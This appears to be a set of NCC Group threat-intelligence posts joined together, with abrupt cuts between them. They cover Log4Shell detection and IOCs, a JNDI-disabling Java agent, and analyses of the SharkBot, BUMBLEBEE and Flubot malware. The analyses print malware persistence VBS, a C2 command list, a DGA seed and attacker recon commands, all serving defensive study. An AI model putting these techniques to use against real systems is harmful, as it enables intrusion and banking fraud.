Note: This blogpost will be live-updated with new information. NCC Group’s RIFT is intending to publish PCAPs of different exploitation methods in the near future – last updated December 14th at 13:00 UTC
About the Research and Intelligence Fusion Team (RIFT): RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.
In the wake of the CVE-2021-44228 (a.k.a. Log4Shell) vulnerability publication, NCC Group’s RIFT immediately started investigating the vulnerability in order to improve detection and response capabilities mitigating the threat. This blog post is focused on detection and threat hunting, although attack surface scanning and identification are also quintessential parts of a holistic response. Multiple references for prevention and mitigation can be found included at the end of this post.
This blogpost provides Suricata network detection rules that can be used not only to detect exploitation attempts, but also indications of successful exploitation. In addition, a list of indicators of compromise (IOC’s) are provided. These IOC’s have been observed listening for incoming connections and are thus a useful for threat hunting.
Update Wednesday December 15th, 17:30 UTC
We have seen 5 instances in our client base of active exploitation of Mobile Iron during the course of yesterday and today.
The scale of the exposure globally appears significant.
We recommend all Mobile Iron users updated immediately.
Ivanti informed us that communication was sent over the weekend to MobileIron Core customers. Ivanti has provided mitigation steps of the exploit listed below on their Knowledge Base. Both NCC Group and Ivanti recommend all customers immediately apply the mitigation within to ensure their environment is protected.
Update Tuesday December 14th, 13:00 UTC
Log4j-finder: finding vulnerable versions of Log4j on your systems
RIFT has published a Python 3 script that can be run on endpoints to check for the presence of vulnerable versions of Log4j. The script requires no dependencies and supports recursively checking the filesystem and inside JAR files to see if they contain a vulnerable version of Log4j. This script can be of great value in determining which systems are vulnerable, and where this vulnerability stems from. The script will be kept up to date with ongoing developments.
It is strongly recommended to run host based scans for vulnerable Log4j versions. Whereas network-based scans attempt to identify vulnerable Log4j versions by attacking common entry points, a host-based scan can find Log4j in unexpected or previously unknown places.
As shown by the release of an update JNDI ExploitKIT it is possible to reach remote code execution through serialized payloads instead of referencing a Java .class object in LDAP and subsequently serving that to the vulnerable system. While TrustURLCodebase defaults to false in newer Java versions (6u211, 7u201, 8u191, and 11.0.1) and therefore prevents the LDAP reference vector,depending on the loaded libraries in the vulnerable application it is possible to execute code through Java serialization via both rmi and ldap.
Beware: Centralized logging can result in indirect compromise
This is also highly relevant for organisations using a form of centralised logging. Centralised logging can be used to collect and parse the received logs from the different services and applications running in the environment. We have identified cases where a Kibana server was not exposed to the Internet but because it received logs from several appliances it still got hit by the Log4Shell RCE and started to retrieve Java objects via LDAP.
We were unable to determine if this was due to Logstash being used in the background for parsing the received logs, but this stipulates the importance of checking systems configured with centralised logging solutions for vulnerable versions of Log4j, and not rely on the protection of newer JDK versions that has com.sun.jndi.ldap.object.trustURLCodebase com.sun.jndi.rmi.object.trustURLCodebase set to false by default.
A warning concerning possible post-exploitation
Although largely eclipsed by Log4Shell, last weekend also saw the emergence of details concerning two vulnerabilities (CVE-2021-42287 and CVE-2021-42278) that reside in the Active Directory component of Microsoft Windows Server editions. Due to the nature of these vulnerabilities, an attackers could escalate their privileges in a relatively easy manner as these vulnerabilities have already been weaponised.
It is therefore advised to apply the patches provided by Microsoft in the November 2021 security updates to every domain controller that is residing in the network as it is a possible form of post-exploitation after Log4Shell were to be successfully exploited.
Background
Since Log4J is used by many solutions there are significant challenges in finding vulnerable systems and any potential compromise resulting from exploitation of the vulnerability. JNDI (Java Naming and Directory Interface) was designed to allow distributed applications to look up services in a resource-independent manner, and this is exactly where the bug resulting in exploitation resides. The nature of JNDI allows for defense-evading exploitation attempts that are harder to detect through signatures. An additional problem is the tremendous amount of scanning activity that is currently ongoing. Because of this, investigating every single exploitation attempt is in most situations unfeasible. This means that distinguishing scanning attempts from actual successful exploitation is crucial.
In order to provide detection coverage for CVE-2021-44228, NCC Group’s RIFT first created a ruleset that covers as many as possible ways of attempted exploitation of the vulnerability. This initial coverage allowed the collection of Threat Intelligence for further investigation. Most adversaries appear to use a different IP to scan for the vulnerability than they do for listening for incoming victim machines. IOC’s for listening IP’s / domains are more valuable than those of scanning IP’s. After all a connection from an environment to a known listening IP might indicate a successful compromise, whereas a connection to a scanning IP might merely mean that it has been scanned.
After establishing this initial coverage, our focus shifted to detecting successful exploitation in real time. This can be done by monitoring for rogue JRMI or LDAP requests to external servers. Preferably, this sort of behavior is detected in a port-agnostic way as attackers may choose arbitrary ports to listen on. Moreover, currently a full RCE chain requires the victim machine to retrieve a Java class file from a remote server (caveat: unless exfiltrating sensitive environment variables). For hunting purposes we are able to hunt for inbound Java classes. However, if coverage exists for incoming attacks we are also able to alert on an inbound Java class in a short period of time after an exploitation attempt. The combination of inbound exploitation attempt and inbound Java class is a high confidence IOC that a successful connection has occurred.
This blogpost will continue twofold: we will first provide a set of suricata rules that can be used for:
Detecting incoming exploitation attempts;
Alerting on higher confidence indicators that successful exploitation has occurred;
Generating alerts that can be used for hunting
After providing these detection rules, a list of IOC’s is provided.
Detection Rules
Some of these rules are redundant, as they’ve been written in rapid succession.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Detecting outbound connections to probing services
Connections to outbound probing services could indicate a system in your network has been scanned and subsequently connected back to a listening service. This could indicate that a system in your network is/was vulnerable and has been scanned.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Outbound LDAP(S) / RMI connections are highly uncommon but can be caused by successful exploitation. Inbound Java can be suspicious, especially if it is shortly after an exploitation attempt.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Wget and cURL to external hosts was observed to be used by an actor for post-exploitation. As cURL and Wget are also used legitimately, these rules should be used for hunting purposes. Also note that attackers can easily change the User-Agent but we have not seen that in the wild yet. Outgoing connections after Log4j exploitation attempts can be tracked to be later hunted on although this rule can generate false positives if victim machine makes outgoing connections regularly. Lastly, detecting inbound compiled Java classes can also be used for hunting.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Outgoing connection after Log4j Exploit Attempt (uses xbit from sid: 21003734) – requires `stream.inline=yes` setting in suricata.yaml for this to work
This list contains Domains and IP’s that have been observed to listen for incoming connections. Unfortunately, some adversaries scan and listen from the same IP, generating a lot of noise that can make threat hunting more difficult. Moreover, as security researchers are scanning the internet for the vulnerability as well, it could be possible that an IP or domain is listed here even though it is only listening for benign purposes.
# IP addresses and domains that have been observed in Log4j exploit attempts
134[.]209[.]26[.]39
199[.]217[.]117[.]92
pwn[.]af
188[.]120[.]246[.]215
kryptoslogic-cve-2021-44228[.]com
nijat[.]space
45[.]33[.]47[.]240
31[.]6[.]19[.]41
205[.]185[.]115[.]217
log4j[.]kingudo[.]de
101[.]43[.]40[.]206
psc4fuel[.]com
185[.]162[.]251[.]208
137[.]184[.]61[.]190
162[.]33[.]177[.]73
34[.]125[.]76[.]237
162[.]255[.]202[.]246
5[.]22[.]208[.]77
45[.]155[.]205[.]233
165[.]22[.]213[.]147
172[.]111[.]48[.]30
133[.]130[.]120[.]176
213[.]156[.]18[.]247
m3[.]wtf
poc[.]brzozowski[.]io
206[.]188[.]196[.]219
185[.]250[.]148[.]157
132[.]226[.]170[.]154
flofire[.]de
45[.]130[.]229[.]168
c19s[.]net
194[.]195[.]118[.]221
awsdns-2[.]org
2[.]56[.]57[.]208
158[.]69[.]204[.]95
45[.]130[.]229[.]168
163[.]172[.]157[.]143
45[.]137[.]21[.]9
bingsearchlib[.]com
45[.]83[.]193[.]150
165[.]227[.]93[.]231
yourdns[.]zone[.]here
eg0[.]ru
dataastatistics[.]com
log4j-test[.]xyz
79[.]172[.]214[.]11
152[.]89[.]239[.]12
67[.]205[.]191[.]102
ds[.]Rce[.]ee
38[.]143[.]9[.]76
31[.]191[.]84[.]199
143[.]198[.]237[.]19
# (Ab)use of listener-as-a-service domains.
# These domains can be false positive heavy, especially if these services are used legitimately within your network.
interactsh[.]com
interact[.]sh
burpcollaborator[.]net
requestbin[.]net
dnslog[.]cn
canarytokens[.]com
# This IP is both a listener and a scanner at the same time. Threat hunting for this IOC thus requires additional steps.
45[.]155[.]205[.]233
194[.]151[.]29[.]154
158[.]69[.]204[.]95
47[.]254[.]127[.]78
tl;dr Run our new tool by adding -javaagent:log4j-jndi-be-gone-1.0.0-standalone.jar to all of your JVM Java stuff to stop log4j from loading classes remotely over LDAP. This will prevent malicious inputs from triggering the “Log4Shell” vulnerability and gaining remote code execution on your systems.
Hello internet, it’s been a rough week. As you have probably learned, basically every Java app in the world uses a library called “log4j” to handle logging, and that any string passed into those logging calls will evaluate magic ${jndi:ldap://...} sequences to remotely load (malicious) Java class files over the internet (CVE-2021-44228, “Log4Shell”). Right now, while the SREs are trying to apply the not-quite-a-fix official fix and/or implement egress filtering without knocking their employers off the internet, most people are either blaming log4j for even having this JNDI stuff in the first place and/or blaming the issue on a lack of support for the project that would have helped to prevent such a dangerous behavior from being so accessible. In reality, the JNDI stuff is regrettably more of an “enterprise” feature than one that developers would just randomly put in if left to their own devices. Enterprise Java is all about antipatterns that invoke code in roundabout ways to the point of obfuscation, and supporting ever more dynamic ways to integrate weird protocols like RMI to load and invoke remote code dynamically in weird ways. Even the log4j format “Interpolator” wraps a bunch of handlers, including the JNDI handler, in reflection wrappers. So, if anything, more “(financial) support” for the project would probably just lead to more of these kinds of things happening as demand for one-off formatters for new systems grows among larger users. Welcome to Enterprise Java Land, where they’ve already added log4j variable expansion for Docker and Kubernetes. Alas, the real problem is that log4j 2.x (the version basically everyone uses) is designed in such a way that all string arguments after the main format string for the logging call are also treated as format strings. Basically all log4j calls are equivalent to if the following C:
printf("%s\n", "clobbering some bytes %n");
were implemented as the very unsafe code below:
char *buf;
asprintf(&buf, "%s\n", "clobbering some bytes %n");
printf(buf);
Basically, log4j never got the memo about format string vulnerabilities and now it’s (probably) too late. It was only a matter of time until someone realized they exposed a magic format string directive that led to code execution (and even without the classloading part, it is still a means of leaking expanded variables out through other JNDI-compatible services, like DNS), and I think it may only be a matter of time until another dangerous format string handler gets introduced into log4j. Meanwhile, even without JNDI, if someone has access to your log4j output (wherever you send it), and can cause their input to end up in a log4j call (pretty much a given based on the current havoc playing out) they can systematically dump all sorts of process and system state into it including sensitive application secrets and credentials. Had log4j not implemented their formatting this way, then the JNDI issue would only impact applications that concatenated user input into the format string (a non-zero amount, but much less than 100%).
The “Fixes”
The main fix is to update to the just released log4j 2.16.0. Prior to that, the official mitigation from the log4j maintainers was:
“In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.”
So to be clear, the fix given for older versions of log4j (2.0-beta9 until 2.10.0) is to find and purge the JNDI handling class from all of your JARs, which are probably all-in-one fat JARs because no one uses classpaths anymore, all to prevent it from being loaded.
A tool to mitigate Log4Shell by disabling log4j JNDI
To try to make the situation a little bit more manageable in the meantime, we are releasing log4j-jndi-be-gone, a dead simple Java agent that disables the log4j JNDI handler outright. log4j-jndi-be-gone uses the Byte Buddy bytecode manipulation library to modify the at-issue log4j class’s method code and short circuit the JNDI interpolation handler. It works by effectively hooking the at-issue JndiLookup class’ lookup() method that Log4Shell exploits to load remote code, and forces it to stop early without actually loading the Log4Shell payload URL. It also supports Java 6 through 17, covering older versions of log4j that support Java 6 (2.0-2.3) and 7 (2.4-2.12.1), and works on read-only filesystems (once installed or mounted) such as in read-only containers.
The benefit of this Java agent is that a single command line flag can negate the vulnerability regardless of which version of log4j is in use, so long as it isn’t obfuscated (e.g. with proguard), in which case you may not be in a good position to update it anyway. log4j-jndi-be-gone is not a replacement for the -Dlog4j2.formatMsgNoLookups=true system property in supported versions, but helps to deal with those older versions that don’t support it.
Using it is pretty simple, just add -javaagent:path/to/log4j-jndi-be-gone-1.0.0-standalone.jar to your Java commands. In addition to disabling the JNDI handling, it also prints a message indicating that a log4j JNDI attempt was made with a simple sanitization applied to the URL string to prevent it from becoming a propagation vector. It also “resolves” any JNDI format strings to "(log4j jndi disabled)" making the attempts a bit more grep-able.
log4j-jndi-be-gone is available from our GitHub repo, https://github.com/nccgroup/log4j-jndi-be-gone. You can grab a pre-compiled log4j-jndi-be-gone agent JAR from the releases page, or build one yourself with ./gradlew, assuming you have a recent version of Java installed.
NCC Group, as well as many other researchers noticed a rise in Android malware last year, especillay Android banking malware. Within the Treat Intelligence team of NCC Group we’re looking closely to several of these malware families to provide valuable information to our customers about these threats. Next to the more popular Android banking malware NCC Group’s Threat Intelligence team also watches new trends and new families that arise and could be potential threats to our customers.
One of these ‘newer’ families is an Android banking malware called SharkBot. During our research NCC Group noticed that this malware was disturbed via the official Google play store. After discovery NCC Group immediately notified Google and decided to share our knowledge via this blog post.
Summary
SharkBot is an Android banking malware found at the end of October 2021 by the Cleafy Threat Intelligence Team. At the moment of writing the SharkBot malware doesn’t seem to have any relations with other Android banking malware like Flubot, Cerberus/Alien, Anatsa/Teabot, Oscorp, etc.
The Cleafy blogpost stated that the main goal of SharkBot is to initiate money transfers (from compromised devices) via Automatic Transfer Systems (ATS). As far as we observed, this technique is an advanced attack technique which isn’t used regularly within Android malware. It enables adversaries to auto-fill fields in legitimate mobile banking apps and initate money transfers, where other Android banking malware, like Anatsa/Teabot or Oscorp, require a live operator to insert and authorize money transfers. This technique also allows adversaries to scale up their operations with minimum effort.
The ATS features allow the malware to receive a list of events to be simulated, and them will be simulated in order to do the money transfers. Since this features can be used to simulate touches/clicks and button presses, it can be used to not only automatically transfer money but also install other malicious applications or components. This is the case of the SharkBot version that we found in the Google Play Store, which seems to be a reduced version of SharkBot with the minimum required features, such as ATS, to install a full version of the malware some time after the initial install.
Because of the fact of being distributed via the Google Play Store as a fake Antivirus, we found that they have to include the usage of infected devices in order to spread the malicious app. SharkBot achieves this by abusing the ‘Direct Reply‘ Android feature. This feature is used to automatically send reply notification with a message to download the fake Antivirus app. This spread strategy abusing the Direct Reply feature has been seen recently in another banking malware called Flubot, discovered by ThreatFabric.
What is interesting and different from the other families is that SharkBot likely uses ATS to also bypass multi-factor authentication mechanisms, including behavioral detection like bio-metrics, while at the same time it also includes more classic features to steal user’s credentials.
Money and Credential Stealing features
SharkBot implements the four main strategies to steal banking credentials in Android:
Injections (overlay attack): SharkBot can steal credentials by showing a WebView with a fake log in website (phishing) as soon as it detects the official banking app has been opened.
Keylogging: Sharkbot can steal credentials by logging accessibility events (related to text fields changes and buttons clicked) and sending these logs to the command and control server (C2).
SMS intercept: Sharkbot has the ability to intercept/hide SMS messages.
Remote control/ATS: Sharkbot has the ability to obtain full remote control of an Android device (via Accessibility Services).
For most of these features, SharkBot needs the victim to enable the Accessibility Permissions & Services. These permissions allows Android banking malware to intercept all the accessibility events produced by the interaction of the user with the User Interface, including button presses, touches, TextField changes (useful for the keylogging features), etc. The intercepted accessibility events also allow to detect the foreground application, so banking malware also use these permissions to detect when a targeted app is open, in order to show the web injections to steal user’s credentials.
Delivery
Sharkbot is distributed via the Google Play Store, but also using something relatively new in the Android malware: ‘Direct reply‘ feature for notifications. With this feature, the C2 can provide as message to the malware which will be used to automatically reply the incoming notifications received in the infected device. This has been recently introduced by Flubot to distribute the malware using the infected devices, but it seems SharkBot threat actors have also included this feature in recent versions.
In the following image we can see the code of SharkBot used to intercept new notifications and automatically reply them with the received message from the C2.
In the following picture we can see the ‘autoReply’ command received by our infected test device, which contains a shortten Bit.ly link which redirects to the Google Play Store sample.
We detected the SharkBot reduced version published in the Google Play on 28th February, but the last update was on 10th February, so the app has been published for some time now. This reduced version uses a very similar protocol to communicate with the C2 (RC4 to encrypt the payload and Public RSA key used to encrypt the RC4 key, so the C2 server can decrypt the request and encrypt the response using the same key). This SharkBot version, which we can call SharkBotDropper is mainly used to download a fully featured SharkBot from the C2 server, which will be installed by using the Automatic Transfer System (ATS) (simulating click and touches with the Accessibility permissions).
This malicious dropper is published in the Google Play Store as a fake Antivirus, which really has two main goals (and commands to receive from C2):
Spread the malware using ‘Auto reply’ feature: It can receive an ‘autoReply’ command with the message that should be used to automatically reply any notification received in the infected device. During our research, it has been spreading the same Google Play dropper via a shorten Bit.ly URL.
Dropper+ATS: The ATS features are used to install the downloaded SharkBot sample obtained from the C2. In the following image we can see the decrypted response received from the C2, in which the dropper receives the command ‘b‘ to download the full SharkBot sample from the provided URL and the ATS events to simulate in order to get the malware installed.
With this command, the app installed from the Google Play Store is able to install and enable Accessibility Permissions for the fully featured SharkBot sample it downloaded. It will be used to finally perform the ATS fraud to steal money and credentials from the victims.
The fake Antivirus app, the SharkBotDropper, published in the Google Play Store has more than 1,000 downloads, and some fake comments like ‘It works good’, but also other comments from victims that realized that this app does some weird things.
Technical analysis
Protocol & C2
The protocol used to communicate with the C2 servers is an HTTP based protocol. The HTTP requests are made in plain, since it doesn’t use HTTPs. Even so, the actual payload with the information sent and received is encrypted using RC4. The RC4 key used to encrypt the information is randomly generated for each request, and encrypted using the RSA Public Key hardcoded in each sample. That way, the C2 can decrypt the encrypted key (rkey field in the HTTP POST request) and finally decrypt the sent payload (rdata field in the HTTP POST request).
If we take a look at the decrypted payload, we can see how SharkBot is simply using JSON to send different information about the infected device and receive the commands to be executed from the C2. In the following image we can see the decrypted RC4 payload which has been sent from an infected device.
Two important fields sent in the requests are:
ownerID
botnetID
Those parameters are hardcoded and have the same value in the analyzed samples. We think those values can be used in the future to identify different buyers of this malware, which based on our investigation is not being sold in underground forums yet.
Domain Generation Algorithm
SharkBot includes one or two domains/URLs which should be registered and working, but in case the hardcoded C2 servers were taken down, it also includes a Domain Generation Algorithm (DGA) to be able to communicate with a new C2 server in the future.
The DGA uses the current date and a specific suffix string (‘pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf’) to finally encode that in base64 and get the first 19 characters. Then, it append different TLDs to generate the final candidate domain.
The date elements used are:
Week of the year (v1.get(3) in the code)
Year (v1.get(1) in the code)
It uses the ‘+’ operator, but since the week of the year and the year are Integers, they are added instead of appended, so for example: for the second week of 2022, the generated string to be base64 encoded is: 2 + 2022 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf” = 2024 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf” = “2024pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”.
In previous versions of SharkBot (from November-December of 2021), it only used the current week of the year to generate the domain. Including the year to the generation algorithm seems to be an update for a better support of the new year 2022.
Commands
SharkBot can receive different commands from the C2 server in order to execute different actions in the infected device such as sending text messages, download files, show injections, etc. The list of commands it can receive and execute is as follows:
smsSend: used to send a text message to the specified phone number by the TAs
updateLib: used to request the malware downloads a new JAR file from the specified URL, which should contain an updated version of the malware
updateSQL: used to send the SQL query to be executed in the SQLite database which Sharkbot uses to save the configuration of the malware (injections, etc.)
stopAll: used to reset/stop the ATS feature, stopping the in progress automation.
updateConfig: used to send an updated config to the malware.
uninstallApp: used to uninstall the specified app from the infected device
changeSmsAdmin: used to change the SMS manager app
getDoze: used to check if the permissions to ignore battery optimization are enabled, and show the Android settings to disable them if they aren’t
sendInject: used to show an overlay to steal user’s credentials
getNotify: used to show the Notification Listener settings if they are not enabled for the malware. With this permissions enabled, Sharkbot will be able to intercept notifications and send them to the C2
APP_STOP_VIEW: used to close the specified app, so every time the user tries to open that app, the Accessibility Service with close it
downloadFile: used to download one file from the specified URL
updateTimeKnock: used to update the last request timestamp for the bot
localATS: used to enable ATS attacks. It includes a JSON array with the different events/actions it should simulate to perform ATS (button clicks, etc.)
Automatic Transfer System
One of the distinctive parts of SharkBot is that it uses a technique known as Automatic Transfer System (ATS). ATS is a relatively new technique used by banking malware for Android.
To summarize ATS can be compared with webinject, only serving a different purpose. Rather then gathering credentials for use/scale it uses the credentials for automatically initiating wire transfers on the endpoint itself (so without needing to log in and bypassing 2FA or other anti-fraud measures). However, it is very individually tailored and request quite some maintenance for each bank, amount, money mules etc. This is probably one of the reasons ATS isn’t that popular amongst (Android) banking malware.
How does it work?
Once a target logs into their banking app the malware would receive an array of events (clicks/touches, button presses, gestures, etc.) to be simulated in an specific order. Those events are used to simulate the interaction of the victim with the banking app to make money transfers, as if the user were doing the money transfer by himself.
This way, the money transfer is made from the device of the victim by simulating different events, which make much more difficult to detect the fraud by fraud detection systems.
IoCs
Sample Hashes:
a56dacc093823dc1d266d68ddfba04b2265e613dcc4b69f350873b485b9e1f1c (Google Play SharkBotDropper)
Authored by: Nikolaos Totosis, Nikolaos Pantazopoulos and Mike Stokkel
Executive summary
BUMBLEBEE is a new malicious loader that is being used by several threat actors and has been observed to download different malicious samples. The key points are:
BUMBLEBEE is statically linked with the open-source libraries OpenSSL 1.1.0f, Boost (version 1.68). In addition, it is compiled using Visual Studio 2015.
BUMBLEBEE uses a set of anti-analysis techniques. These are taken directly from the open-source project [1].
BUMBLEBEE has Rabbort.DLL embedded, using it for process injection.
BUMBLEBEE has been observed to download and execute different malicious payloads such as Cobalt Strike beacons.
Introduction
In March 2022, Google’s Threat Analysis Group [2] published about a malware strain linked to Conti’s Initial Access Broker, known as BUMBLEBEE. BUMBLEBEE uses a comparable way of distribution that is overlapping with the typical BazarISO campaigns.
In the last months BUMBLEBEE, would use three different distribution methods:
Distribution via ISO files, which are created either with StarBurn ISO or PowerISO software, and are bundled along with a LNK file and the initial payload.
Distribution via OneDrive links.
Email thread hijacking with password protected ZIP
BUMBLEBEE is currently under heavy development and has seen some small changes in the last few weeks. For example, earlier samples of BUMBLEBEE used the user-agent ‘bumblebee’ and no encryption was applied to the network data. However, this functionality has changed, and recent samples use a hardcoded key as user-agent which is also acting as the RC4 key used for the entire network communication process.
Technical analysis
Most of the identified samples are protected with what appears to be a private crypter and has only been used for BUMBLEBEE binaries so far. This crypter uses an export function with name SetPath and has not implemented any obfuscation method yet (e.g. strings encryption).
The BUMBLEBEE payload starts off by performing a series of anti-analysis checks, which are taken directly from the open source Khasar project[1]. After these checks passed, BUMBLEBEE proceeds with the command-and-control communication to receive tasks to execute.
Network communication
BUMBLEBEE’s implemented network communication procedure is quite simple and straightforward. First, the loader picks an (command-and-control) IP address and sends a HTTPS GET request, which includes the following information in a JSON format (encrypted with RC4):
Key
Description
client_id
A MD5 hash of a UUID value taken by executing the WMI command ‘SELECT * FROM Win32_ComputerSystemProduct’.
group_name
A hard-coded value, which represents the group that the bot (compromised host) will be added.
sys_version
Windows OS version
client_version
Default value that’s set to 1
domain_name
Domain name taken by executing the WMI command ‘SELECT * FROM Win32_ComputerSystem’.
task_state
Set to 0 by default. Used only when the network commands with task name ‘ins‘ or ‘sdl‘ are executed
task_id
Set to 0 by default. Used only when the network commands with task name ‘ins‘ or ‘sdl‘ are executed
Description of the values sent to BUMBLEBEE servers
Once the server receives the request, it replies with the following data in a JSON format:
Key
Description
response_status
Boolean value, which shows if the server correctly parsed the loader’s request. Set to 1 if successful.
tasks
Array containing all the tasks
task
Task name
task_id
ID of the received task, which is set by the operator(s)
task_data
Data for the loader to execute in Base64 encoded format
file_entry_point
Potentially represents an offset value. We have not observed this being used either in the binary’s code or during network communication (set to an empty string).
Description of the values returned by the BUMBLEBEE servers
Tasks
Based on the returned tasks from the command-and-control servers, BUMBLEBEE will execute one of the tasks described below. For two of the tasks, shi and dij, BUMBLEBEE uses a list of predefined process images paths:
Injects task’s data into a new process. The processes images paths described above and a random selection is made
dij
Injects task’s data into a new process. The injection method defers from the method used in task ‘dij’. The processes images paths described above and a random selection is made.
dex
Writes task’s data into a file named ‘wab.exe’ under the Windows in AppData folder.
sdl
Deletes loader’s binary from disk.
ins
Adds persistence to the compromised host.
Description of the tasks performed by BUMBLEBEE
For the persistence mechanism, BUMBLEBEE creates a new directory in the Windows AppData folder with the directory’s name being derived by the client_id MD5 value. Next, BUMBLEBEE copies itself to its new directory and creates a new VBS file with the following content:
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "rundll32.exe my_application_path, IternalJob"
Lastly, it creates a scheduled task that has the following metadata (this can differ from sample to sample):
Task name – Randomly generated. Up to 7 characters.
Author – Asus
Description – Video monitor
Hidden from the UI: True
Path: %WINDIR%\System32\wscript.exe VBS_Filepath
Similarly with the directory’ name, the new loader’s binary and VBS filenames are derived from the ‘client_id’ MD5 value too.
Additional observations
This sub-section contains notes that were collected during the analysis phase and worth to be mentioned too.
The first iterations of BUMBLEBEE were observed in September 2021 and were using “/get_load” as URI. Later, the samples started using “/gate”. On 19th of April, they switched to “/gates”, replacing the previous URI.
The “/get_load” endpoint is still active on the recent infrastructure – this is probably either for backwards compatibility or ignored by the operator(s). Besides this, most of the earlier samples using URI endpoint are uploaded from non-European countries.
Considering that BUMBLEBEE is actively being developed on, the operator(s) did not implement a command to update the loader’s binary, resulting the loss of existing infections.
It was found via server errors (during network requests and from external parties) that the backend is written in Golang.
As mentioned above, every BUMBLEBEE binary has an embedded group tag. Currently, we have observed the following group tags:
VPS1GROUP
ALLdll
VPS2GROUP
1804RA
VS2G
1904r
VPS1
2004r
SP1
1904l
RA1104
25html
LEG0704
2504r
AL1204
2704r
RAI1204
Observed BUMBLEBEE group tags
As additional payloads, NCC Group’s RIFT has observed mostly Cobalt Strike and Meterpeter being sent as tasks. However, third parties have confirmed the drop of Sliver and Bokbot payloads.
While analyzing NCC Group’s RIFT had a case where the command-and-control server sent the same Meterpeter PE file in two different tasks in the same request to be executed. This is probably an attempt to ensure execution of the downloaded payload (Figure 1). There were also cases where the server initially replied with a Cobalt Strike beacon and then followed up with more than two additional payloads, both being Meterpeter.
Figure 1 – Duplicated tasks received
In one case, the downloaded Cobalt Strike beacon was executed in a sandbox environment and revealed the following commands and payloads were executed by the operator(s):
net group “domain admins” /domain
ipconfig /all
netstat -anop tcp
execution of Mimikatz
Indicators of compromise (IOC’s)
Type
Description
Value
IPv4
Meterpreter command-and-control server, linked to Group ID 2004r & 25html
23.108.57[.]13
IPv4
Meterpreter command-and-control server, linked to Group ID 2004r & 2504r
130.0.236[.]214
IPv4
Cobalt Strike server, linked to Group ID 1904r
93.95.229[.]160
IPv4
Cobalt Strike server, linked to Group ID 2004r
141.98.80[.]175
IPv4
Cobalt Strike server, linked to Group ID 2504r & 2704r
Authored by Alberto Segura (main author) and Rolf Govers (co-author)
Summary
Flubot is an Android based malware that has been distributed in the past 1.5 years in Europe, Asia and Oceania affecting thousands of devices of mostly unsuspecting victims. Like the majority of Android banking malware, Flubot abuses Accessibility Permissions and Services in order to steal the victim’s credentials, by detecting when the official banking application is open to show a fake web injection, a phishing website similar to the login form of the banking application. An important part of the popularity of Flubot is due to the distribution strategy used in its campaigns, since it has been using the infected devices to send text messages, luring new victims into installing the malware from a fake website. In this article we detail its development over time and recent developments regarding its disappearance, including new features and distribution campaigns.
Introduction
One of the most popular active Android banking malware families today. An “inspiration” for developers of other Android banking malware families. Of course we are talking about Flubot. Never heard of it? Let us give you a quick summary.
Flubot banking malware families are in the wild since at least the period between late 2020 and the first quarter of 2022. Most of its popularity comes from its distribution method: smishing. Threat Actors (TA) have been using the infected devices to send text messages to other phone numbers, stolen from other infected devices and stored in Command-and-Control servers (C2).
In the initial campaigns, TAs used fake Fedex, DHL and Correos – a local Spanish parcel shipping company – SMS messages. Those SMS messages were fake notifications which lured the user into a fake website in order to download a mobile application to track the shipping. These campaigns were very successful, since nowadays most people are used to buy different kinds of products online and receive that type of messages to track the shipping of the product. Flubot is not only a very active family: TAs have been very actively introducing new features, support for campaigns in new countries and improving the features it already had.
On June 1, 2022, Europol announced the takedown of Flubot in a joint operation including 11 countries. The Dutch Police played a key part in this operation and successfully disrupted the infrastructure in May 2022, rendering this strain of malware inactive. That was interesting period of time to look back at the early days of Flubot, how it evolved and became so notorious.
In this post we want to share all we know about this threat and a timeline of the most relevant and interesting (new) features and changes that Flubot’s TAs have introduced. We will focus on these features and changes related to the detected samples but also in the different campaigns that TAs have been using to distribute this malware.
The beginning: A new Android Banking Malware targeting Spain [Flubot versions 0.1-3.3]
Based on reports from other researchers, Flubot samples were first found in the wild between November and December of 2020. Public information about this malware was first published on 6 January 2021 by our partner ThreatFabric (https://twitter.com/ThreatFabric/status/1346807891152560131). Even though ThreatFabric was the first to publish public information on this new family and called it “Cabassous”, the research community has been more commonly referring to this malware as Flubot.
In the initial campaigns, Flubot was distributed using Fedex and Correos fake SMS messages. In those messages, the user was led to a fake website which was basically a “landing page” style website to download what was supposed to be an Android application to track the incoming shipping.
In this initial campaign versions prior to Flubot 3.4 were used, and TAs were including support for new campaigns in other countries using specific samples for each country. The reasons why there were different samples for different countries were: – Domain Generation Algorithm (DGA). It was using a different seed to generate 5.000 different domains per month. Just out of curiosity: For Germany, TAs were using 1945 as seed for the DGA. – Phone country code used to send more distribution smishing SMS messages from infected devices and block those numbers in order to avoid communication among victims.
There were no significant changes related to features in the initial versions (from 0.1 to 3.3). TAs were mostly focused on the distribution campaigns, trying to infect as many devices as possible.
There is one important change in the initial versions, but it is difficult to find the exact version in which this change was first introduced because there are some version without samples on public repositories. TAs introduced web injections to steal credentials, the most popular tactic to steal credentials on Android devices. This was introduced starting between versions 0.1 and 0.5, in December 2020.
In those initial versions, TAs increased the version number of the malware in just a few days without adding significant changes. Most of the samples – particularly previous to 2.1 – were not uploaded to public malware repositories, making it even harder to track the first versions of Flubot.
